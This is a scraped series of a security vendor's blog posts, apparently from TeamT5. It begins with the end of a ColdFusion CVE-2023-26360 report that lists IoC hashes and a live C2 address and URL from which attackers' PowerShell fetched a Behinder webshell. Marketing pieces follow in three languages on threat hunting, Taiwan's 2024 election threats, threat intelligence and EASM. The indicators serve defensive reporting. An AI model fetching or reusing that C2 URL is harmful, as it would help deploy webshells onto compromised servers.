Based on the research, we provide a nuclei-based webshell scanner and a SIGMA rule for our customers to check if your ColdFusion Component endpoint has been compromised, and the nuclei-based webshell scanner can identify implanted webshells as follows. Our customers can download the tools from The **Threat Hunting Tools** in [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website).

Notably, we also detected that Chinese threat actors developed webshell designed for ColdFusion Markup, PowerShell[5]. PowerShell will download the second stage webshell from C2 `http://113.141.91.61:63211/11.aspx`. The second-stage webshell is Behinder[6], a famous open-source webshell in Chinese threat actors.

### Appendix I: Malware Table

Below malware table summarize the malware used in attacks related to CVE-2023-26360.

<table>
 <tr>
 <th>Name</th>
 <th>Type</th>
 <th>Description</th>
 <th>Attribution</th>
 <th>First Seen</th>
 </tr>
 <tr>
 <td>Behinder</td>
 <td>Webshell</td>
 <td>Behinder is a webshell developed by Chinese actor. It has different platform versions, such as PHP, ASP and JSP. Behinder loads an AES-encrypted binary payload which is difficult to detect by general firewall.</td>
 <td>Open-source</td>
 <td>2020.06</td>
 </tr>
</table>
 
### Appendix II: Indicators of Compromise (IoC)

**SHA-256**
 
```
hash= webshell
cb493680d1a8ee7a70a2d339ece0b190db02fba4ba6af3b2c26a6b4841902d52
d6910571564cc4c61b1277334701c612fd3a25b96b63b267d64fcf48a5998254

```

```c2-IP= IP
113.141.91.61
```

### Appendix III: Other critical CVEs

TeamT5 also provides analysis of other caitical CVEs in **Patch Management Report (PMR)**. Published every two weeks (or more), the PMR will provide our customers with concise yet comprehensive updates on the most critical and exploitable vulnerabilities selected by TeamT5 vulnerability research team during the period. Each vulnerability will be provided with patch information. If you are interested in subscribing to this new report series, please [contact TeamT5](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) for more information.

 
 

[1] https://blog.projectdiscovery.io/adobe-coldfusion-rce/

[2] https://www.cisa.gov/news-events/alerts/2024/01/08/cisa-adds-six-known-exploited-vulnerabilities-catalog

[3] https://github.com/gobysec/Research/blob/main/Adobe_Coldfusion_remote_code_execution_vulnerability_Analysis_(CVE-2023-38204)_zh_CN.md

[4] The HuWang Operation is China’s state-led penetration testing or red teaming operation for state-owned enterprises and critical information infrastructure (CII) operators, hosted by the Ministry of Public Security every summer. We have previously discovered that several APT groups such as Amoeba, SLIME28, and SLIME37 have joined China’s HuWang Operation.

[5] SHA-256: cb493680d1a8ee7a70a2d339ece0b190db02fba4ba6af3b2c26a6b4841902d52

[6] d6910571564cc4c61b1277334701c612fd3a25b96b63b267d64fcf48a5998254

CVE-2023-29300: Adobe ColdFusion 漏洞

Today's enterprises continue to face increasingly complex security threats; in order to deal with these challenges, threat hunting is an indispensable strategy.

Enterprises cooperate with professional threat hunting teams and use threat hunting tools based on the latest threat intelligence to help enterprises take proactive defensive measures, strengthen the enterprise's cybersecurity resilience, and ensure uninterrupted business operations.

### 1. Proactively look for potential threats
Threat hunting is different from passive cybersecurity defense methods. It not only relies on known attack patterns, but also actively hunts unknown threats. Through proactive threat hunting, enterprises can take preventive measures before attacks occur, greatly improving their defense capabilities.

### 2. Reduce the attacker’s residence time
A successful attack often depends on how long the attacker remains on the corporate network. Threat hunting can significantly reduce the time attackers have to influence corporate networks, reduce the possibility of damage, and improve overall security.

### 3. Improve incident response efficiency
Rapid response after a security incident occurs is crucial. Threat hunting enhances an enterprise's incident response efficiency by providing more comprehensive and real-time threat intelligence. Security professionals can more quickly identify the source and method of attacks, take appropriate action, mitigate damage, and quickly restore normal operations.

###4. Adapt to the changing threat environment
Threat hunting is powered by the latest security intelligence, allowing enterprises to more flexibly adjust their security strategies to respond to emerging threats. This adaptability enables enterprises to better respond to the evolving threat environment, ensures that their security measures and strategies are future-proof, and strengthens the overall security resilience of the enterprise.


## Conclusion
The benefit of threat hunting is not only to help enterprises adapt to detect threats, but also to improve enterprises' ability to adapt to continuously evolving security challenges. This kind of proactiveness, immediacy and adaptability makes threat hunting an integral part of strengthening enterprise security resilience and helping to protect enterprises from emerging security threats.

 
 
>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.

>The threat hunting tool we developed, ThreatSonar, has been adopted by many large enterprises, financial industries and managed security service providers (MSSPs).

 
>If you are an enterprise, please contact us immediately and use the product demonstration demo to fully grasp the excellent defense benefits brought by threat hunting.

>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end customers.

>https://teamt5.org/en/contact-us/

 
*key words: cyber threat hunting, threat hunting

*Picture source: pixabay

The benefits of threat hunting: The key to greater security resilience for enterprise

當今企業持續面臨日漸複雜的資安威脅；為了應對這些挑戰，威脅狩獵是不可或缺的策略。

企業與專業的威脅狩獵團隊合作，採用基於最新威脅情資的威脅狩獵工具，協助企業採取主動積極的防禦措施，強化企業的資安韌性，確保業務營運不中斷。

### 1. 主動尋找潛在威脅
威脅狩獵有別於被動的資安防禦方式，不僅僅是依賴已知的攻擊模式，主動獵捕未知的威脅。透過主動威脅獵捕，企業能夠在攻擊發生前採取預防措施，大幅提升防禦能力。


### 2. 降低攻擊者的滯留時間
一個成功的攻擊往往取決於攻擊者在企業網路中的滯留時間。威脅狩獵可大幅縮減攻擊者影響企業網路的時長，減少損害的可能性，提高整體的安全性。

### 3. 提高資安事件應變效率
資安事件發生後的迅速應變至關重要。威脅狩獵透過提供更全面、即時的威脅情資，增強企業的事件應對效率。資安專業人員能夠更快速地識別攻擊的來源和方法，採取適當的措施，降低損害並快速恢復正常運作。

### 4. 適應不斷變化的威脅環境
威脅狩獵奠基於最新的資安情資，使企業能夠更靈活地調整其資安策略以應對新興的威脅。這種適應性使企業能夠更好地應對不斷演變的威脅環境，確保其資安措施和策略不會過時，強化企業整體的資安韌性。

## 結論
威脅狩獵的好處不僅是協助企業應變發現威脅，更可提高企業適應持續演變的資安挑戰。這種主動性、即時性和適應性使得威脅狩獵成為強化企業資安韌性的不可或缺的一環，有助於保護企業免受新興的資安威脅。

 
 
 
 
>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>我們研發的威脅狩獵工具 ThreatSonar 已獲許多大型企業、金融產業及資安代管服務廠商（MSSP）採用。

 
>如果您是企業，請立即連絡我們，透過產品展示 Demo，徹底掌握威脅狩獵帶來的絕佳防禦效益。

>如果您是資安代管服務廠商，請即刻聯絡我們，共同討論如何為終端客戶強化資安韌性，並且創造商機。
>https://teamt5.org/tw/contact-us/

 
 
*圖片來源: Pixabay

威脅狩獵對企業的好處：強化資安韌性的關鍵

今日の企業は、ますます複雑化するサイバーセキュリティの脅威に直面し続けており、こうした課題に対処するために、脅威ハンティングは不可欠な戦略です。

企業は、プロの脅威ハンティングチームと協力し、最新の脅威インテリジェンスに基づく脅威ハンティングツールを使用することで、積極的な防御策を講じて、サイバーセキュリティ耐性を強化し、中断することのない事業運営を確保できるようにします。

##1. 潜在的脅威の積極的な特定
脅威ハンティングは、受動的なサイバー防御手法とは異なります。既知の攻撃パターンに依存するだけでなく、未知の脅威を積極的に探索します。積極的な脅威ハンティングにより、企業は攻撃が発生する前に予防措置を講じることができ、防御能力を大幅に向上させることができます。


##2. 攻撃者の滞在時間の短縮
サイバー攻撃が成功するかどうかは、攻撃者が企業ネットワークにどれだけ長く留まるかによって決まります。脅威ハンティングは、攻撃者が企業ネットワークに影響を及ぼす時間を大幅に短縮し、被害の可能性を減らすので、全体的なセキュリティを向上させることができます。


##3. インシデント対応の効率化
サイバーセキュリティインシデント発生後の迅速な対応は極めて重要です。脅威ハンティングは、より包括的でリアルタイムの脅威インテリジェンスを提供することで、企業のインシデント対応効率を高めます。これにより、セキュリティ専門家は、攻撃源と攻撃方法をより迅速に特定し、適切な措置を講じて被害を軽減し、通常の業務を迅速に復旧することができます。


##4. 変化する脅威環境に適応する
脅威ハンティングは最新のセキュリティインテリジェンスを搭載しているため、企業は自社のセキュリティ戦略をより柔軟に調整し、新たな脅威に対応することができます。この適応性により、企業は進化する脅威環境に的確に対応し、セキュリティ対策と戦略の将来性を確保し、企業の全体的なセキュリティ耐性を強化することができます。

##結論
脅威ハンティングのメリットは、企業が脅威を検知して対処するのを支援するだけでなく、絶えず進化するセキュリティ上の課題に対し、企業の適応能力を向上させることにもあります。このようなプロアクティブ性、即時性、適応性により、脅威ハンティングは企業のサイバーレジリエンスを強化し、新たなセキュリティ脅威から企業を保護するために不可欠な要素となります。

 
 

>**TeamT5**の脅威ハンティングツールThreatSonarは、独自の「メモリフォレンジック」技術を搭載しており、合法なプログラムに偽装した不正プログラムを正規プログラムに注入する攻撃者の攻撃手法を特定し、悪意のあるプログラムの中継局を見つけることが可能なので、さらなる脅威の侵入をブロックできます。
>
>**ThreatSonar**が搭載している最先端の脅威ハンティング技術は、以下の潜在的な脅威を特定・発見し、企業のセキュリティ耐性を強化します：
- 実行済みのプログラム、実行予定のプログラム(Executed/Autorun programs threat hunting)
- メモリに隠された悪意のあるプログラムの検出と特定（メモリフォレンジック）
- 攻撃者のハッキングツール
- 疑わしいアーティファクト（攻撃後ホストに残された記録など）
- Living Off The Land Binaries And Scripts (LOLBAS)
- サイバーハイジーン
>
>サイバーセキュリティ環境が変化し続ける中、企業の包括的なサイバーセキュリティ戦略に脅威ハンティングを組み込むことの重要性が高まっており、重要なビジネスの機密データを保護して事業運営の堅牢性を維持し、サイバーセキュリティの強靭性を確立するのに役立ちます。

> もっと詳しく知る : [ThreatSonar](https://teamt5.org/jp/products/threatsonar/?utm_source=blog&utm_medium=website)

 
*画像のソース: pixabay

企業における脅威ハンティングのメリット： サイバーレジリエンスを高める鍵

## 2024年台湾総統選挙とその後のサイバーセキュリティの課題


2024年は世界各地で選挙が行われる記録的な年であり、世界人口の約半数を占める60カ国以上で国政選挙が実施されます。2024年1月13日、台湾では総統選挙と立法委員選挙が行われ、世界的な選挙イヤーの幕開けとなりました。
TeamT5は、この選挙がサイバー攻撃による妨害を受けることなく、スムーズに終了したことを喜ばしく思います。そして、この成果は多くの個人や組織の努力と献身の賜物であり、彼らの努力の積み重ねこそが、選挙の安全性と信頼性を確保したと確信しています。

しかし、どんなに成功を収めたとしても、国家支援によるサイバー脅威がもたらす課題を見過ごしてはなりません。当社は、国家と連携した影響工作(Infuluence Operation)や標的型攻撃(Advanced Persistant Threat)グループに関連する、数多くの悪意のある活動や偽情報キャンペーンの特定および分析を精力的に続けてきました。本稿では、これらの攻撃者が使用する具体的な戦術、技術、手順(Tactics / Techniques / Procedures)について詳述し、彼らの活動に関する貴重な知見を共有いたします。

また、サイバー脅威の状況は常に変化しており、攻撃者は常に新しい攻撃手法を考案しています。今回の選挙期間中、これらの攻撃者が能力を強化し、より洗練された革新的なテクニックを駆使して、更に広範なプラットフォームを標的にしていることが発覚しました。本稿は、当社の発見を共有するだけでなく、潜在的な脅威に先んじるためにサイバー防衛戦略を継続的に更新することの重要性についても説明します。

最後に、当社は上記のようなサイバー脅威に対抗するため、脅威インテリジェンスを強化させることを約束します。 本稿を通じて、当社の戦略的知見を共有し、他の民主主義国家、特に選挙を間近に控えた国家が、民主主義プロセスの混乱を目的としたサイバー攻撃についてより深く理解できることを目指します。そして、本稿が民主主義諸国のサイバー脅威インテリジェンス専門家にとって実用的なリソースとなり、サイバー脅威を効果的に予測し、軽減する一助となることを願っています。

## Research Highlights 
1. 2024年の選挙を前に、台湾は数多くの巧妙なサイバー脅威に直面してきました。いずれも民主的プロセスを不安定にし、選挙制度に対する国民の信頼を損なわせることが目的でした。また、全体的に見ると、標的型攻撃の大部分を中国系の攻撃者が占めていました。

2. 中国のAPTグループは、台湾の複数の団体、特にジャーナリズムとメディア業界を標的にしています。ここで注目すべき点は、民主派や泛緑のメディアだけがサイバー攻撃の餌食になっているわけではないことです。当社データベースによれば、統一派や親中派と認識されている台湾国内のテレビ局や新聞社も主要な標的となっています。

3. 一方で、中国はソーシャルメディアプラットフォームを駆使し、台湾に対する偽情報やプロパガンダを広めています。2023年初頭から、与党を攻撃する不審な活動がまばらに観測されましたが、重大な影響工作が確認されたのは11月以降です。選挙期間中の中国の影響工作について、3つの主要な傾向は以下の通りです。： 

 (1). 対象範囲の拡大 
 (2). 様々なプラットフォームのAIを活用したキャンペーン 
 (3). フェイクニュースサイトと内部告発サイト 

4. 2023年11月下旬以降、台湾の現与党である民進党に対し、国民の信頼を低下させることを目的とした上記のような影響力工作に準じて、中国が関与したハッキングやリーク事件が確認されました。 これらのキャンペーンは「ハック・アンド・リーク」の手法を戦略的に採用したことを示しており、ハイブリッド戦争の戦術における顕著な転換であると見なせます。また、当社は「オペレーションスクープスパイ」と呼ばれる重大なキャンペーンを注視しています。彼らの目的は、選挙でどの候補者や政党が勝とうとも、混乱を巻き起こし、民主化推進派の政治家の信用を失墜させることである可能性が高いです。

5. 台湾の政治情勢に影響を与えようとする中国のアプローチ、特に2024年の選挙前後は、長期的な戦略を強調しています。更に、中国とつながりのあるAPTグループや影響工作は、標的を深く理解しており、徹底的な準備と調査を行っていることがわかります。このような綿密な下準備が、サイバースパイ活動と影響工作との間に厄介な相乗効果をもたらしています。


>2024年台湾総統選挙に対するサイバー脅威の全文(英語)は、TeamT5公式ウェブサイトの下記リンクより取得することが可能です。

【Whitepaper】2024年台湾総統選挙に対するサイバー脅威

2024 is a record-breaking year for elections around the globe, with over 60 countries home roughly half of the world’s population is set to hold national elections. On 13 January 2024, Taiwan kicked off this super-election year with its presidential and legislative elections.

At TeamT5, we are pleased to see that the election concluded smoothly, without any successful disruptions by cyber attackers. We believe this achievement is a result of the hard work and dedication of many individuals and organizations. Their collective efforts have ensured the election process remained secure and trustworthy.

**Despite the overall success, TeamT5 believes that we must not overlook the challenges posed by state-sponsored cyber threats.** Our team has worked tirelessly to identify and analyze numerous malicious activities and disinformation campaigns, particularly those associated with state-linked influence operation (IO) actors or Advanced Persistent Threat (APT) groups. This whitepaper will detail the specific tactics, techniques, and procedures (TTP) used by these actors, hoping to provide valuable insights into their operations.

The cyber threat landscape is ever-changing, with adversaries constantly improving their attacking methods. During this election cycle, we noticed that these threat actors have enhanced their capabilities, employing more sophisticated and innovative techniques to target a broader array of platforms. **This whitepaper not only shares our discoveries but also illustrates the importance of continuously updating our cyber defense strategies to stay ahead of potential threats.**

We are committed to evolve our threat intelligence to counteract these cyber threats. Through this whitepaper, we aim to share our strategic findings, hoping to equip other democracies, especially those facing upcoming elections, with better understanding of cyberattacks aiming to disrupt the democratic process. We hope it serves as a practical resource for cyber threat intelligence experts in democratic countries, helping them to anticipate and mitigate cyber threats effectively.

## Research Highlights
**1.** Prior to the 2024 elections, Taiwan has faced an array of sophisticated cyber threats, all aimed at destabilizing the democratic processes and undermining public trust in the electoral system. Overall, China-nexus actors accounted for a major part of the targeted attacks.

**2.** Chinese Advanced Persistent Threat (APT) groups have targeted multiple entities in Taiwan, especially the journalism and media industry. Notably, not only pro-democracy or pan-green media have fallen into prey. Our database suggests that domestic television operators and newspapers, some perceived as pro-unification or pro-China, have also been the primary targets.

**3.** On the other hand, China has also been weaponizing social media platforms to spread disinformation and propaganda against Taiwan. While we observed sparse suspicious activities attacking the ruling party since early 2023, it was not until November that we detected significant influence operations. We summarized three key trends of China’s influence operations during the elections:
 
(1) Expanded Target Scope
 
(2) AI-Enabled Campaigns across Various Platforms
 
(3) Fake News Sites and Whistleblower Sites

**4.** From late November 2023, we have detected China-nexus hack and leak incidents, corresponding with the following influence operations aimed at diminishing public trust toward Taiwan’s current ruling party, the Democratic Progressive Party (DPP). These campaigns mark a strategic adoption of “hack-and-leak” methods, a notable shift in hybrid warfare tactics. We highlight a significant campaign named “Operation ScoopSpy.” It is very likely that their goals are to sow chaos and discredit pro-democracy politicians regardless of which candidate or political party wins in the elections.

**5.** China’s approach to influencing Taiwan’s political landscape, particularly around the2024 elections, underscores a long-term strategy. Advanced Persistent Threat (APT) groups and influence operation (IO) actors linked to China have shown a deep understanding of their targets, indicating thorough preparation and research. This meticulous groundwork has led to a troubling synergy between cyber espionage efforts and influence operations.

 
**To receive the whole whitepaper, please fill up the form below.**

[Whitepaper] Cyber Threats against Taiwan’s 2024 Presidential Election

杜浦數位安全 TeamT5 發佈《臺灣 2024 總統大選資安威脅》白皮書（TeamT5 White Paper: Cyber Threats against Taiwan’s 2024 Presidential Election），透過「進階持續性威脅（advanced persistent threat）」與「資訊作戰（influence operation）」的雙重視角，全面剖析 2024 年臺灣大選所面臨的資安威脅。根據 TeamT5 長期以來的追查，我們持高度信心這些攻擊可能都是來自中國相關的威脅行動者。

作為網路威脅情資研究的專家， TeamT5 長期關注亞太地區駭客威脅，以協助我們的客戶掌握關鍵情資，抵禦從未間斷的網路攻擊。

**重點摘要：**
1. 中國相關威脅行動者的攻擊手法持續演進，於投票日前一週發動綿密的不實資訊攻擊，意圖動搖社會大眾對於民主選舉體制的信任。
2. 中國相關威脅行動者攻擊的目標包含不同產業，近期媒體業更是飽受攻擊。根據 TeamT5 的研究顯示，遭攻擊的媒體公司並無政治立場之分，泛綠與泛藍媒體皆有遭到攻擊。
3. 中國相關威脅行動者仍持續透過社群平台散布不實訊息。但和過去相比，其動員的社群資源更加廣泛，並進一步利用 AI 技術生成內容；同時還架設新聞通訊網站，撰寫原生內容，以大量散播不實資訊。
4. 中國相關威脅行動者還運用了「駭侵與外洩」（Hack and Leak）的手法。先竊取機密資訊後，再有計畫地透過特定管道向大眾披露，試圖操弄社會輿論風向，遭駭產業包含媒體、政府與電信。

綜合來看，中國相關威脅行動者確實能深入掌握台灣政經社會局勢的脈動，再透過進階持續性攻擊與資訊作戰的混合手法，瞄準民主社會可能的弱點。長期而言，網路攻擊的威脅，仍是台灣民主發展揮之不去的陰影。

請填寫以下表格，即可下載完整白皮書（英文）。


【白皮書】全面剖析臺灣 2024 總統大選面臨之資安威脅 

**Threat intelligence**, also known as cyber threat intelligence (CTI), is a critical aspect of cybersecurity, involving the collection, processing, and analysis of data about potential or current threats to an organization's security. This intelligence is not just raw data but contextual information that helps in understanding threat actors' motives, targets, and attack behaviors. It provides insights into the tactics, techniques, and procedures (TTPs) of adversaries, enabling organizations to prepare, prevent, and identify cyber threats that could exploit valuable resources.

**This whitepaper will give you overall understanding of threat intelligence and how threat intelligence points out the threat landscape**. It contains:
- Introduction to Threat Intelligence
- Challenges & the Role of Threat Intelligence
- Types of Threat Intelligence
- The Threat Intelligence Lifecycle
- Implementing Threat Intelligence
- Threat Intelligence in Action
- Future Trends & Developments

 

**Fill up the form and receive our whitepaer now!**

[Whitepaper] Understanding Threat Intelligence & The Threat Landscape with TeamT5

In today's digital landscape, organizations face an ever-evolving array of cybersecurity threats that challenge their resilience and operational integrity. From sophisticated phishing attacks to complex ransomware, the methods employed by cybercriminals grow increasingly advanced, demanding a proactive and comprehensive approach to defense. Enter External Attack Surface Management (EASM), a cutting-edge strategy designed to bolster organizational cybersecurity by identifying, analyzing, and mitigating threats posed to external digital assets. 

**This article dives into the intricacies of EASM, explaining how it functions as a critical cybersecurity framework for modern organizations by protecting against external threats and strengthening overall security posture.**

 

## What is EASM?
External Attack Surface Management (EASM) is a cybersecurity discipline focused on the continuous discovery, inventory, assessment, and management of an organization's digital assets accessible from the internet. These assets include servers, web applications, domains, cloud resources, and other components that organizations rely on to fulfill their missions and operations. The importance of External Attack Surface Management cannot be overstated, as it supplements an organization's internal defenses and ensures that vulnerabilities on the outside are identified and addressed before they can be exploited.

 
## How EASM Works
The digital assets comprising an organization's external attack surface represent the sum of all points from which an adversary may find access to internal networks and systems. While the scale and complexity of contemporary infrastructure mandates that these assets be publicly accessible - for instance, to enable service delivery, provide support, or facilitate communication - attackers leverage the same properties to gain unauthorized access, launch cyber-physical attacks, or damage the reputation or integrity of organizations. EASM plays a pivotal role in the protection of this far-reaching attack surface.

**EASM performs three foundational functions:**
### Discovery
EASM solution will identify an organization's points of exposure such as servers, IPs, applications or third-party services. Advanced discovery methods may incorporate the use of network scans, crawlers, passive listening to internet traffic and other techniques.

### Risk analysis
EASM continuously profiles and assesses every exposed asset, generating a comprehensive understanding of an organization's attack surface. Every asset is interrogated to extract detailed metadata, which is then contextualized, analyzed and interpreted, allowing it to be categorized according to function and risk.

### Threat mitigation
EASM is diagnostic and prescriptive, providing the insight and guidance that defenders need to triage and remediate the most urgent and exploitable threats. This process will typically involve correlating artifacts discovered across multiple assets to form attack structures, which are then analyzed to identify active and impending threat scenarios. It is this diagnostic approach that allows organizations to act on their various vulnerabilities in the most strategic and impactful manner.

 
## Key Components of EASM
### Inventory of External Digital Assets
The first component of EASM involves developing a comprehensive inventory of all digital assets that are remotely accessible from the internet. This inventory becomes the foundation for all later EASM activities.

### Continuous Monitoring and Risk Assessment
EASM dictates that the external attack surface be continuously monitored to identify new assets and associated vulnerabilities. Each asset is assessed for obvious, high-level risk for the purposes of prioritization.

### Integration with Threat Intelligence
EASM systems integrate with one or more threat intelligence feeds to provide enrichment of assets and vulnerabilities, including their risk factors.

 
## The Role of EASM in Cybersecurity
EASM extensions cybersecurity protections beyond traditional perimeters by proactively searching for threats and vulnerabilities that hackers would otherwise discover and exploit. As mentioned, hackers scan constantly for exposed assets to target.

Unlike reactive security measures that respond after an incident has occurred, EASM works by identifying potential security issues early. By continuously monitoring the external attack surface, these solutions can identify unexpected exposure points, misconfigurations, or vulnerabilities in real-time. This means that organizations can take remedial action to address security gaps immediately, significantly reducing the window of opportunity for an attack.

**What types of threats can EASM help to mitigate? It can be particularly effective for security teams to better defend against threats that target their external assets. For example:**

### Phishing Attacks
EASM solutions can be used to monitor for the unauthorized use of key brand names or domains, suppressing the ability for an adversary to stand-up a fraudulent site that exploits a company’s identity in a phishing campaign.

### Malware Distribution
Identifying compromised assets or malicious content delivery in real-time can greatly assist with thwarting attempts to distribute malware to customers and prospects of the company.

### Vulnerabilities in Public-Facing Applications
As was the case with many recent vulnerabilities, the term “public-facing web applications” often translates directly to “high profile targets.” EASM solutions that can identify vulnerabilities in web applications and ensure they get patched or mitigated in short order (before they can be exploited) are exceptionally valuable.

 
## Benefits of EASM
Implementing EASM have several benefits such as:

- Improved Security Posture
With the proactive detection and mitigation of vulnerabilities and threats, organizations can significantly improve their overall security posture. This proactive approach helps prevent data breaches and other security incidents, safeguarding sensitive information and maintaining customer trust.

- Compliance and Risk Reduction
EASM also plays a vital role in compliance and risk management. By ensuring that external assets adhere to security best practices and regulatory requirements, organizations can avoid costly penalties and reputational damage associated with non-compliance and security breaches.

 
## Conclusion
**External Attack Surface Management (EASM)** is an essential component of contemporary cybersecurity strategies. By enabling the proactive identification and remediation of threats, EASM empowers organizations to address an expansive array of cyber threats. While its implementation presents several challenges, the benefits of increased visibility, an improved security posture and a more compliant posture make EASM a critical technology for any organization looking to strengthen its defenses in the digital age. As the threat landscape continues to evolve, the importance of robust and proactive security technologies such as EASM will only grow, making it incumbent on the part of organizations to remain one step ahead of their cyber adversaries.

>[Contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) to know our EASM solution.

>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan. 
>
>Based on our research in malware & Advanced Persistent Threat (APT), we provide cyber threat intelligence reports and anti-ransomware solutions to clients in the USA, Japan, and Taiwan. Clients include government agencies, financial business, and high-tech enterprises.

What is EASM and How Does it Help Protect Organizations?

在當今的數位環境中，企業面臨著一系列、持續變化的網路安全威脅，這些威脅挑戰著他們的韌性和營運完整性 從複雜的網路釣魚攻擊到複雜的勒索軟體，網路犯罪分子採用的方法變得越來越先進，需要採取主動且全面的防禦方法。

外部攻擊面管理 (EASM) 即是先進的解決方案，旨在透過識別、分析和減輕對外部數位資產的威脅，強化企業網路安全。 本文深入探討 EASM 的細節，說明它如何透過防禦外部威脅和加強整體安全態勢，作為企業的網路安全防禦關鍵。

 

## 什麼是 EASM？
外部攻擊面管理 (EASM) 專注於持續發現、清點、評估和管理企業可透過網路存取的數位資產。 這些資產包括伺服器、Web 應用程式、網域、雲端資源，及企業完成任務和營運所依賴的其他數位資產。 外部攻擊面管理十分重要，因為它強化企業的內部防禦，並確保外部漏洞在被利用之前被識別和解決。

 

## 外部攻擊面管理 (EASM) 如何運作
構成企業外部攻擊面的數位資產，代表對手可能找到對企業內部網路和系統的存取權限的所有點的總和。 

雖然基礎設施的規模和複雜性要求這些資產可公開存取（例如，為了提供服務或支援、提供資訊），但攻擊者也可利用相同的屬性來獲得未經授權的存取、發動網路實體攻擊或損壞企業的聲譽或誠信。 EASM 在保護此攻擊面，發揮關鍵作用。


**EASM 具備3項基本功能：**

### 發現
EASM 解決方案將識別企業的暴露點，例如伺服器、IP、應用程式或第三方服務。 進階發現方法更可結合網路掃描、爬蟲、被動監聽網路流量和其他技術。

### 風險分析
EASM 持續分析和評估每個暴露在外的資產，進而掌握企業的受攻擊面。 每項資產都會被詢問，以獲得詳細的數據，然後對其進行脈絡化、分析和解釋，從而根據功能和風險對其進行分類。


### 威脅緩解
EASM 具有診斷性和規範性，可為企業的資安團隊的防禦優先順序，進行指引，其提供分類和補救最緊急、可利用威脅所需的關鍵資訊。 此過程通常涉及多個資產的跨幅度關聯，以形成攻擊結構；進一步對攻擊結構進行分析以識別活動和即將發生的威脅情境。 

正是這種診斷方法，使企業能夠以最具策略性和影響力的方式，針對各種漏洞採取行動。

 

### 外部攻擊面管理 (EASM) 的關鍵


#### 外部數位資產盤點
EASM 首要功能是可透過網路遠端存取的所有數位資產的全面清單，此清單成為以後所有 EASM 管理的基礎。

#### 持續監控和風險評估
EASM 旨在持續監控外部攻擊面，以識別新資產和相關漏洞。為了確定優先級，EASM 對每項資產進行風險度評估。

#### 與威脅情資共同整合
EASM 系統與一個或多個威脅情資來源共同整合，以利擴展資產和漏洞的清單，也將風險因素考慮進此系統。

 

## 外部攻擊面管理 (EASM) 在資訊安全管理的效益

EASM 透過主動搜尋駭客可能發現和利用的威脅、漏洞，將網路安全保護擴展到傳統邊界之外。 如前所述，駭客不斷掃描攻擊目標暴露在外的資產，以利趁虛而入。

與事件發生後的應變形安全措施不同，EASM 的工作原理是儘早識別潛在的安全性問題。 透過持續監控外部攻擊面，這些解決方案可以即時識別意外暴露點、錯誤配置或漏洞。 這意味著企業可以採取補救措施，立即解決安全漏洞，從而顯著減少受攻擊的機會和時間。

EASM 可以幫助緩解哪些類型的威脅呢？ 對於資訊安全團隊來說，它有效防禦可能受駭客鎖定的外部數位資產。 例如：

### 網路釣魚攻擊
EASM 解決方案可用於監控關鍵品牌名稱或網域的未經授權使用，從而抑制攻擊者在網路釣魚活動中，建立利用公司身分的詐騙網站的能力。

### 惡意軟體派送
即時識別受損資產或惡意內容交付，可以極大地幫助阻止向公司客戶和潛在客戶派送惡意軟體的嘗試。

### 應用程式中的漏洞
與最近許多漏洞的情況一樣，「供大眾使用的 Web 應用程式」幾乎等同為「引人注目的目標」。 EASM 解決方案可以識別 Web 應用程式中的漏洞，並確保在短時間內（在它們被利用之前）對其進行修補或緩解，因此 EASM 解決方案非常有價值。

 

## 外部攻擊面管理 (EASM) 的好處
實施 EASM 有幾個好處，如：

- 改善安全狀況
透過主動偵測和緩解漏洞、威脅，企業可以顯著改善其整體安全狀況。 這種主動方法有助於防止資料外洩和其他安全事件，保護敏感資訊並維護客戶信任。

- 合規性和降低風險
EASM 在合規和風險管理方面也發揮著至關重要的作用。 透過確保外部資產遵守最佳資安實踐和監管要求，企業可以避免因不合規、漏洞遭利害等的高額罰金和聲譽損害。

 

## 結論
外部攻擊面管理 (EASM) 是當今資訊安全策略的重要組成。 透過主動識別和修復威脅，EASM 使企業能夠應對廣泛的網路威脅。 雖然其實施帶來了一些挑戰，但提高可見度、改善安全狀況和更合規性的好處使得 EASM 對於任何希望加強數位時代防禦的企業來說都是一項關鍵技術。


隨著威脅情勢的不斷發展，EASM 以其強大且主動防禦的特性，其於資安領域的重要性持續增強，這使得企業有責任採用，並領先網路攻擊者的攻擊活動。

>[立刻聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website) ，了解如何運用外部攻擊面管理 (EASM)解決方案 !

>TeamT5 杜浦數位安全專精網路威脅研究，提供端點偵測與回應（EDR）解決方案。協助美日臺大型企業有效保護商業機密文件，營運不受網路攻擊影響。獲國際頂尖顧問公司 Frost & Sullivan 肯定為台灣最佳威脅情資公司（2023 Taiwanese Threat Intelligence Company of the Year Award）。 
團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。

什麼是外部攻擊面管理 (EASM)? 又是如何協助企業進行資安防禦?

今日のデジタル環境において、高度なフィッシング攻撃から複雑なランサムウェアに至るまで、サイバー犯罪者が採用する手口はますます高度化しており、組織は、進化し続けるサイバーセキュリティの脅威に直面する中で、予防的かつ包括的な防御対策を講じることが求められています。外部攻撃対象領域管理 (EASM) は、外部のデジタル資産に対する脅威を特定、分析、軽減することで組織のサイバーセキュリティを強化することを目的に設計された最先端の戦略です。

当記事では、EASM が重要なサイバーセキュリティフレームワークとして、どのように組織のインターネットセキュリティを外部の脅威から保護し、全体的なセキュリティ体制を強化するのかを紹介します。

##EASMとは？
